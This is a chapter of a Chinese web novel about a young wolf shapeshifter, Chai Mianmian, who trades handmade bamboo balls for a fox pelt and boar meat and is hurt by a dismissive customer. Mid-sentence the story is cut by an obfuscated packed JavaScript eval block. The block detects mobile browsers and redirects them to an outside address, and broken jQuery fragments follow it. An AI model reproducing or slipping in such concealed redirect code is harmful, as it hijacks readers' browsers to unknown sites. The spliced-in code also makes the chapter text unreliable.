咕噜咕噜，咕噜咕噜。


    棉棉无意识地翻了个身，白毛下面隐约露出粉色的柔软肚皮发出饥饿的鸣响。


    在梦里，面粉裹炸的鸡腿金黄酥脆，咬开外皮，油脂的香气霎时间涌入鼻腔，白嫩的鸡肉鲜嫩多汁，一口下去好吃得简直爽翻天灵盖。


    她嘴巴微张，晶莹的口水顺着嘴角流下来，淌了一地。


    嗯？


    哪来的狗舔她嘴巴？啊，好烦啊！躲都躲不掉。好大一张狗嘴！


    柴棉棉猛然睁开眼睛，回神。


    哦，是阿爸啊。


    是阿爸啊！


    阿爸，你回来啦？阿爸，棉棉好想你啊！！！


    柴棉棉翻身站起来，冲阿爸开心地呜呜，高兴得直舔他的脸。


    阿爸香香的，有一股橙子皮的味道，是洗过澡了吗？


    尖爪小声回答：“是，昨晚干完活，你阿妈连夜烧水砸果泥给我洗了澡，说洗完干净又香喷喷的。”


    柴棉棉好喜欢阿爸现在的味道。


    她就像吸大型毛绒公仔一样整张脸埋入阿爸的肩膀，在他厚重蓬松的毛发里蹭蹭蹭蹭，暴风吸入。


    尖爪两只前足将她圈在怀里，舔她的脊背、侧腹、大腿还有尾巴，将她的毛发全部理顺。


    两父女亲昵了一会儿。


    尖爪问：“是不是饿了？阿爸带了肉回来，咱们吃饭？”


    柴棉棉猛然点头。


    尖爪挪移到旁边，将并排躺着的黑毛崽和灰毛崽全部舔醒，并嘱咐他们不要大声说话吵到阿妈，带着三只崽跳下床。


    明眸刚睡下不久，昨晚他们干活干了一整夜，天刚刚亮才把带来的猎物全部初处理完成，明眸肚子里不缺食物，缺的是觉。


    他也一样，在外面奔波好多天，睡觉根本不敢睡沉，后面为了赶路睡得就更少，昨晚还一夜未眠。


    照顾三只崽吃完上午的饭，尖爪嘱咐他们自己玩儿但不要到处乱跑，就回到床上，躺在伴侣身边沉沉睡去了。


    三只崽你看看我，我看看你，一时不知道要玩什么？


    黑黑呜呜：“棉棉，竹球晒好了吧？我们玩竹球吧。”


    竹球做好之后，晒的时间越长，定型效果就越好。之前要打比赛来不及，现在时间充裕，柴棉棉就延长了竹球的晾晒时间，尽可能让竹球更牢固更耐用。


    柴棉棉变成人形态，从竹架子上拿下来一个竹球，仔细查看，又掂了掂，感觉品相很不错，就扔给黑毛狼崽：“黑黑，这是你的竹球。”


    又拿下来一个竹球，同样检查过，扔给灰毛狼崽：“灰灰，这是你的。”


    竹架子上还剩3个竹球，全是那群大小少年们订的，柴棉棉也认真检查一遍，全部没有问题。


    三只崽商量，决定一起玩扔球追球游戏。


    轮流变成人，把两个竹球远远扔出去，两只狼崽则追上去找，找到竹球叼回来。


    柴棉棉玩得无比投入，无比开心。


    她活蹦乱跳，欢快地追逐竹球在空中飞过的踪迹，低头在杂草间嗅闻，从各种各样的气味中分辨出竹球的信息，叼住竹球兴奋地跑回来，交到黑黑手上，催促他让他再扔一次。


    这样简简单单的一个小游戏，柴棉棉没想到她竟然能玩得那么开心，就好像一只真正无忧无虑的狼崽崽。


    柴棉棉玩累了，变成人形态，坐在石头上给黑黑灰灰扔竹球。


    远远的，小路尽头出现两个少年身影，前面是流风，后面是她的同伴大雪。


    柴棉棉站起来，高兴地迎上去：“流风大雪，你们怎么过来了？是来取竹球的吗？”


    流风笑道：“是，竹球做好了吗？”


    “早就做好了。”柴棉棉领她走到洞穴门口，从架子上拿下一个竹球给她，“你看看。”


    流风仔细检查一遍，上手掂了掂，又抛起球啪地一下打飞出去。她的同伴大雪默契地变成狼形态，紧跟在竹球后面追了出去，过了一会儿，拿着竹球回来了。


    流风再检查一回，发现没问题，便拿出早就准备好的兽皮，递给柴棉棉：“你看看。”


    那是一整张赤狐皮，中间是脊背处的红棕色毛，四周边缘是腹部的白色毛，连四条腿的皮毛都保留了半截。皮毛里侧的残肉、脂肪和血污都被清理干净了，散发着草木灰的气味。


    赤狐皮比较柔软，但是湿漉漉的，一摸一手水，应该是刚从草木灰水里捞出来做过初步的软化捶打，还没来得及晾晒。


    流风说：“昨晚狩猎队回来，我阿爸带了好几块兽皮回家。我瞧着这张狐狸皮的大小很适合你的人形态，就想着拿过来给你。你给它抹点油晒一晒，再用骨针缝起来，到了冬天穿在身上，肯定很暖和。”


    狼没有那么怕冷。因为在冬天来临之前，狼身上会逐渐长出一层浓密的内层绒毛，还会长出一层粗长的外层护毛，最大程度留住体表散发出来的热气，以及抵挡外界吹过来的寒气，使狼在冬天也能自如活动。


    但是变成人形态就不行了。


    不知道为什么，狼变成人形态毛发就消失了，只头发、腋窝等处还保留着少许体毛，而且个个容貌身材极具美感，活像一群现代帅哥靓女找了一处山地森林Cosplay原始人，处处透露着不科学。


    所以，光溜溜的人在冬天，是很怕冷的，得穿衣服。


    流风交换给她的这张赤狐皮，大小比她的人形态体型稍微大一些，而且保留了四肢半截皮毛，处理好之后用骨针缝好，一整个人套进去穿上，就像穿连体皮衣一样能够全身保暖，可以说是很用心了。


    柴棉棉有些受宠若惊：“这…这样完整的皮毛很少吧？用来跟我交换竹球，太珍贵了。”


    流风不以为然：“你的竹球不珍贵吗？整个部落就你一个人会做竹球，和这种完整皮毛一样少见，我觉得很值得。”


    柴棉棉依然有些心虚愧疚，在她的记忆常识中，皮毛就是比竹球贵重很多很多，她知道这是原始社会，技术知识一样珍贵，但她就是没办法摆脱这种感觉。


    更何况流风给她的东西是用心挑选过的，她更加不愿意亏待流风。


    柴棉棉说：“流风，你等一等。”


    她收下赤狐皮，转身走进洞穴从竹架子上取下一竹筒刺莓果干，出来递给流风：“这个送给你。”


    流风看清她手上的东西，吃了一惊：“这是那天黑耳和壮壮比赛，你拿来跟我交换水的红果干？送给我？这也太珍贵了，不合适不合适。”


    她连连推拒，柴棉棉情不自禁笑了。


    柴棉棉认真解释：“这东西虽然做起来很麻烦，但算不上很珍贵，明年秋天刺莓挂果的时候，我就又可以做了。这只是一竹筒小零食，偶尔吃了甜甜嘴，不是什么贵重物品，你就收下吧。”


    “这个时节，可以甜嘴的食物，哪里不珍贵了？”话是这么说，流风还是收下来，她实在禁不住诱惑，只好脸皮厚一回，眉开眼笑道，“谢谢你。”


    “不客气。”柴棉棉笑着将两人送走，回到洞穴重新拿起那张赤狐皮，在身上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215306|180883||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比划。


    感觉穿上去应该还挺好看。


    不过……


    是不是也得给黑黑灰灰各整一套？


    黑黑能变成人不必说，万一灰灰在这个冬天完成初次化形了呢？也该提前准备好。


    流风的阿爸狩猎回来，带了兽皮回家。那她家的兽皮呢？阿爸没有分到吗？不应该啊。


    柴棉棉正疑惑着，外面又来了一个少年，也是来拿竹球的。


    他也给了一张兽皮，和赤狐皮差不多大，但是品相一般，显然不像流风那样精挑细选过，柴棉棉就银货两讫，没有送刺莓果干给他了。


    过了小半天，订下最后一只竹球的少年也姗姗来迟。


    她两手吃力地提着一大块野猪肉走过来，重重地放到柴棉棉面前：“我听说竹球很珍贵，但我家的皮毛没有多的，只能给你兽肉。这个分量，你看行吗？”


    这个分量，肯定是行的。


    柴棉棉鼻子轻微翕动，闻到一股腐烂的气味。


    再看这猪肉的表面，也有少许腐烂痕迹，应该是昨天狩猎队带回来的，放了至少四五天。


    她微不可见地皱了下眉，心中有些嫌弃。


    但狼是吃腐肉的，而且这猪肉腐烂程度很轻微，她拒绝，是不是太挑剔了？


    算了算了，就换给她吧。


    柴棉棉点了下头，取下最后一个竹球给她。


    晴天接过竹球仔细检查一圈，不太满意地皱起眉头：“这个球一点儿也不圆，而且上面为什么要打那么多草绳结？不好看不说，不小心碰到、拉开了绳结，球岂不就散架了？你为什么不把这些草绳结藏起来？”


    柴棉棉：“……”


    这东西毕竟是手工制品，而且制作工具十分粗糙，劈出来的竹条误差很大，也没有胶水粘连，能编出一个球就已经很不容易了，实在做不了很圆。


    柴棉棉只能回答她后一个问题：“不会的。这些草绳结都是死结，只要不故意扯，不小心碰到不会扯开的。”


    晴天眉头深深皱起，看起来依然相当不满意。


    柴棉棉忍不住追问：“你还要吗？”


    对面人眼皮微抬看过来，上下打量她一番，仿佛十分勉强地叹了口气：“算了，就这么着吧。”


    说完，她拿着竹球走了。


    柴棉棉：“……”


    柴棉棉不开心了。


    真是的，嫌弃就不要嘛，难道她很满意她那块野猪肉吗？都烂了，谁喜欢吃啊？！


    柴棉棉垂头丧气坐下来，越想越生气，越想越委屈。


    刚刚就该狠狠怼她一顿的！


    这张嘴啊，怎么就那么笨呢？


    搞得现在好像她欠了她似的！


    柴棉棉心里翻江倒海，晴天刚刚那副表情反复在她脑海里播放，那种被嫌弃被轻视感觉，让她讨厌晴天，更加讨厌她自己，怎么那么懦弱？怎么那么嘴笨？怎么什么都不敢说？！


    愤怒、后悔、伤心、委屈……种种情绪在她胸腔里搅成一团，直往上冲向她的脑袋，她一下子就红了眼睛。


    黑毛狼崽叼着竹球跑过来，嘴里呜呜叫：“棉棉，来玩球啊。”


    柴棉棉下意识偏过头，不想让黑黑看见她这副没出息的窝囊样子。


    黑黑却已经看见了。


    他抬起两只前足，搭在她的膝上，嘴筒子凑到她的脸旁边呜呜：“棉棉，你怎么了？你眼睛怎么那么红啊？”


    柴棉棉不说话，猛地回身抱住狼头，将脸埋进他的毛毛里。